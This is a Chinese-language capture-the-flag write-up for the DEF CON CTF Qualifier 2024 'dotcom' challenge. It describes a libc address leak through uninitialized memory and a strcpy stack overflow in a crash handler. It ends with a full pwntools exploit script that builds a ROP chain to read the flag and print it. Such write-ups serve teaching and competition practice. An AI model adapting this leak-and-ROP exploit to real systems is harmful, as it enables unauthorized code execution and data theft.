1. 概述
2. 分析
3. 漏洞
3-1. 未初始化的内存
3-2. 栈溢出
4. 利用
5. 结束
1. 概述
这个挑战是 2024 年 DEF CON CTF 资格赛中展示的可利用挑战。多亏了我的队友迅速发现漏洞,我在比赛期间首次完成了这个挑战。通常,与 DEF CON CTF 中展示的其他挑战相比,这个问题被认为难度较小。
2. 分析
与 "Notes" 挑战类似的常见可利用挑战类型,这个二进制文件允许添加和释放任意模型。此外,还有一个强大的 Seccomp 过滤器,但这是为第二个挑战(airbag)准备的。由于 dotcom 挑战的 flag 文件在二进制文件启动时就会打开,如果你获得了控制流,你可以轻松读取 dotcom 的 flag。另一个特别之处是存在一个 Crash 处理器。这似乎也是为第二个挑战(airbag)准备的,但实际上 dotcom 二进制文件中可利用的漏洞存在于 Crash 处理器中。
3. 漏洞
3-1. 未初始化的内存
第一个漏洞是内存没有得到适当的初始化。通过创建一个未排序的 bin 然后分配一个 Chunk,我们可以在 m 中包含 fd 和 bk(主区域的地址)。由于当它们是 NaN 时值不会被覆盖,libc 的地址仍然保留。最终,该值可以通过 draw_graph 函数打印并泄露给用户。
3-2. 栈溢出
第二个漏洞存在于 Crash 处理器中。在解析中止消息时,由于使用了 strcpy 函数,会发生栈溢出。乍一看,用户似乎无法控制中止消息的值,但 Crash 处理器可以被大多数信号触发。
因此,通过使用一个没有中止消息就发生信号的部分,你可以控制传递给 find_abort_string 函数的值。在上面的代码中,由于在中止时用户的输入值在寄存器中,如果你包含输入 "(): Asse",你可以触发 find_abort_string 函数。
4. 利用
.text:0000000000401565 48 8B 05 7C 4A 00 00 mov rax, cs:stdin_ptr
.text:000000000040156C 48 8B 10 mov rdx, [rax] ; stream
.text:000000000040156F BE F4 01 00 00 mov esi, 1F4h ; n
.text:0000000000401574 E8 87 FB FF FF call _fgets
然而,利用它仍然存在问题。由于 strcpy 在遇到空字节时会终止,因此无法执行 ROP。如果我们检查可以控制 RIP 的点,栈地址仍然在 RDI 寄存器中。因此,我们可以使用像上面这样的小工具再次引起栈溢出。然后,充足的 ROP 就变得可能了。
5. 结束
第二个挑战,Airbag,显然是通过操纵 dotcom 的 Crash 消息并在 Airbag 二进制文件中引起内存损坏,然后利用与 memfd_create 相关的技巧来利用它。然而,我最终未能解决它,因为我在 Airbag 二进制文件中找不到漏洞。
dotcom 的最终解决代码如下:
from pwn import *
import struct
context.arch = "amd64"
nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]
#r = process("dotcom_market")
r = remote("dotcom.shellweplayaga.me", 10001 )
r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")
r.sendlineafter(b"Enter graph description:", b"123")
r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"66")
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")
s = f"0|{nan}|0|0|0|" + "A" * 0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"1")
r.recvuntil(b"r = ")
leak = float(r.recvuntil(b" ", drop=True).decode())
libc_leak = u64(struct.pack("d", leak * 10))
libc_leak = libc_leak & ~0xfff
libc_base = libc_leak - 0x21a000
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
write = libc_base + 0x0114870
read = libc_base + 0x01147d0
print(f'libc_base = {hex(libc_base)}')
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")
raw_input()
pay = b'1280|'
pay += b'(): Asse' + b'A'*0x30
pay += p64(0x401565)
pay += b'X'*(1284 - len(pay))
r.sendline(pay)
pay = b'B'*0x18
pay += p64(pop_rdi)
pay += p64(0x6)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(read)
pay += p64(pop_rdi)
pay += p64(0x1)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(write)
pay += p64(0xdeadbeef)
r.sendline(pay)
r.interactive()
- END -
原文始发于微信公众号(3072):DEF CON CTF Qualifier 2024 - dotcom
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论